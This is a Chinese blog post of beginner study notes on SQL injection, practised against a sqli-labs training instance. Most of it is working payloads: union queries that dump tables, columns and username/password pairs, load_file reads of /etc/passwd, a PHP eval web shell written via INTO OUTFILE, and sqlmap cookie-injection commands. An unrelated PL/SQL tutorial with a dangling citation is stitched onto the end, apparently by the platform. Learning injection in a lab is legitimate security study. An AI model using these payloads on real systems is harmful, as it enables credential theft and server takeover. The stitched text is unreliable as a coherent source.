web安全入门功法通关秘籍第三天打卡

本文详细介绍了SQL注入的原理及手法,包括手工注入技巧、利用SQLmap自动化工具、GET和POST型注入,以及如何通过联合查询、爆表、爆字段和爆数据等手段进行攻击。同时,探讨了如何读取敏感文件和写入Web Shell,并提供了具体的SQL语句实例。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

今天两小时的课程内容要素过多,简要总结一下,以便接下来的学习
主要是有关sql注入的内容

1,sql的手工注入
通过给服务器提交不正常逻辑的sql语句来达到攻击的方式

在URL:id=33 后边加入单引号,发现sql语句报错(可以用来找数据库类型)

可以用and 1=1 ??and 1=2来判断注入点是否存在
通过order by的报错来猜测字段数
sql注入的联合查询 先要让前置的查询差不出结果
?id=-33 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 //注意联合查询需将前置查询为空
这里id=-33明显不存在 所以查询为空可以执行后面的内容了

一些常见的对数据库的操作
爆表
id=-33 union select TABLE_SCHEMA, TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘库名’

爆字段
id=-33 union select TABLE_NAME, COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘表名’

爆数据
id=-33 union select 1,2,binary(group_concat(username," ",password)),4,5,6,7,8,9,10,11,12,13,14,15
from cms_users

读取文件使用 load_file() 函数
id=-33 union select 1,2,load_file("/etc/passwd"),4,5,6,7,8,9,10,11,12,13,14,15

SQL语句写shell通过SQL注入select into outfile实现,如:
1’ union select 1,’<?php eval($_POST[a]);?>’ INTO OUTFILE ‘/var/www/tmp/nb.php’#

2,get和post型注入
各种参数

在这里插入图片描述
先利用bp抓包记录日记文件
读取文件
使用–data传递post数据
用于判断注入点是否存在

基于mysql的cookie的注入
http://192.168.30.88/sqli-labs/sqli-labs/Less-20/index.php
注入security数据库拿到的用户名和密码登录

对COOKIE值进行SQL注入
探测,需要设置level=2。 1:会检测POST和GET。 2:会检测COOKIE。
3:会测试User-Agent和
Referer。
最高为5,一般不常用(会加入无用的数据)
sqlmap.py -u http://192.168.30.88/sqli-labs/sqli-labs/Less-20/ --COOKIE
“uname=admin” --level=2
之后的枚举信息和权限操作,皆在后面加对应参数即可。例如查询数据库名 --dbs
sqlmap.py -u http://192.168.30.88/sqli-labs/sqli-labs/Less-20/ --COOKIE
“uname=admin” --level=2 --dbs

3、sqlmap工具
基于2.x版本的python

下载li-labs注入学习平台
在学习时可以在网站源码中输出注入的语句
查看实际注入的内容

阿巴阿巴阿巴(一脸懵逼)
明日继续

### PL/SQL 的基本使用方法 PL/SQL 是一种强大的过程化语言,主要用于开发 Oracle 数据库中的存储过程、函数、触发器和包。以下是关于 PL/SQL 基本使用方法的一些重要知识点: #### 1. **PL/SQL 结构** PL/SQL 程序通常由三个部分组成:声明部分(可选)、执行部分(必选)和异常处理部分(可选)。 ```sql DECLARE -- 变量声明区域 BEGIN -- 执行逻辑区域 EXCEPTION -- 异常处理区域 END; ``` 这种结构使得开发者可以清晰地定义变量、编写逻辑并捕获可能发生的错误。 #### 2. **变量与数据类型** PL/SQL 支持多种内置的数据类型,例如 `NUMBER`、`VARCHAR2` 和 `DATE` 等。还可以通过 `%TYPE` 或 `%ROWTYPE` 来引用表列的类型[^2]。 示例代码: ```plsql DECLARE v_employee_id employees.employee_id%TYPE; -- 定义与表字段相同类型的变量 v_salary NUMBER(8, 2); -- 数字型变量 BEGIN SELECT employee_id, salary INTO v_employee_id, v_salary FROM employees WHERE rownum = 1; DBMS_OUTPUT.PUT_LINE('Employee ID: ' || v_employee_id || ', Salary: ' || v_salary); END; ``` #### 3. **控制结构** PL/SQL 提供了丰富的控制结构来实现条件判断和循环操作。常用的有 `IF...THEN...ELSE` 和 `LOOP` 系列语句。 ##### IF 判断 ```plsql DECLARE v_grade CHAR(1) := 'A'; BEGIN IF v_grade = 'A' THEN DBMS_OUTPUT.PUT_LINE('Excellent'); ELSIF v_grade = 'B' THEN DBMS_OUTPUT.PUT_LINE('Good'); ELSE DBMS_OUTPUT.PUT_LINE('Unknown Grade'); END IF; END; ``` ##### 循环 ```plsql DECLARE i INT := 1; BEGIN LOOP EXIT WHEN i > 5; -- 当满足退出条件时跳出循环 DBMS_OUTPUT.PUT_LINE('Iteration: ' || i); i := i + 1; END LOOP; END; ``` --- ### PL/SQL 编程技巧 为了提高 PL/SQL 开发效率和性能,以下是一些常见的编程技巧: #### 1. **批量处理** 利用游标或集合操作减少单条记录的操作次数,提升性能。例如,可以通过 `FORALL` 实现批量化 DML 操作。 ```plsql DECLARE TYPE emp_ids_t IS TABLE OF employees.employee_id%TYPE INDEX BY PLS_INTEGER; emp_ids emp_ids_t; BEGIN SELECT employee_id BULK COLLECT INTO emp_ids FROM employees WHERE department_id = 10; FORALL i IN INDICES OF emp_ids UPDATE employees SET salary = salary * 1.1 WHERE employee_id = emp_ids(i); COMMIT; END; ``` #### 2. **索引表与嵌套表** 合理使用索引表(Index-by Table)或嵌套表(Nested Table),可以在内存中缓存大量数据以加速计算。 ```plsql DECLARE TYPE nested_table_type IS TABLE OF VARCHAR2(100); my_nested_table nested_table_type := nested_table_type(); BEGIN my_nested_table.EXTEND(3); my_nested_table(1) := 'Value1'; my_nested_table(2) := 'Value2'; my_nested_table(3) := 'Value3'; FOR i IN 1..my_nested_table.COUNT LOOP DBMS_OUTPUT.PUT_LINE(my_nested_table(i)); END LOOP; END; ``` #### 3. **异常处理** 良好的异常处理机制可以帮助程序更好地应对意外情况。建议为常见错误设置自定义消息。 ```plsql BEGIN INSERT INTO non_existent_table VALUES (1); EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('Error Code: ' || SQLCODE || ', Error Message: ' || SQLERRM); END; ``` #### 4. **优化查询** 尽量避免在循环内部多次调用数据库操作,而是采用绑定变量或子查询的方式一次性完成任务。这有助于降低上下文切换开销。 --- ### 示例:创建一个简单的存储过程 下面是一个完整的存储过程示例,展示了如何封装业务逻辑以便重复使用。 ```plsql CREATE OR REPLACE PROCEDURE update_employee_salary ( p_department_id IN employees.department_id%TYPE, p_percentage_increase IN NUMBER DEFAULT 10 ) AS BEGIN UPDATE employees SET salary = salary * (1 + p_percentage_increase / 100) WHERE department_id = p_department_id; COMMIT; END; / ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值